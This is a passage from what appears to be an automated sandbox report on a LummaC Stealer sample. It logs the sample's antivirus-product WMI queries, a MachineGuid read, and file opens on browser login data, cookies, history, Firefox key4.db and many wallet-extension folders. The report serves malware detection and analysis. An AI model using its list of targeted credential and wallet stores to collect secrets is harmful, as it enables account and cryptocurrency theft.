Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\5b6db61c VolumeInformation

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Code function: 49_2_00491486 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

49_2_00491486

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: find.exe, 00000028.00000002.2393156973.000001D569D70000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: avgui.exe

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
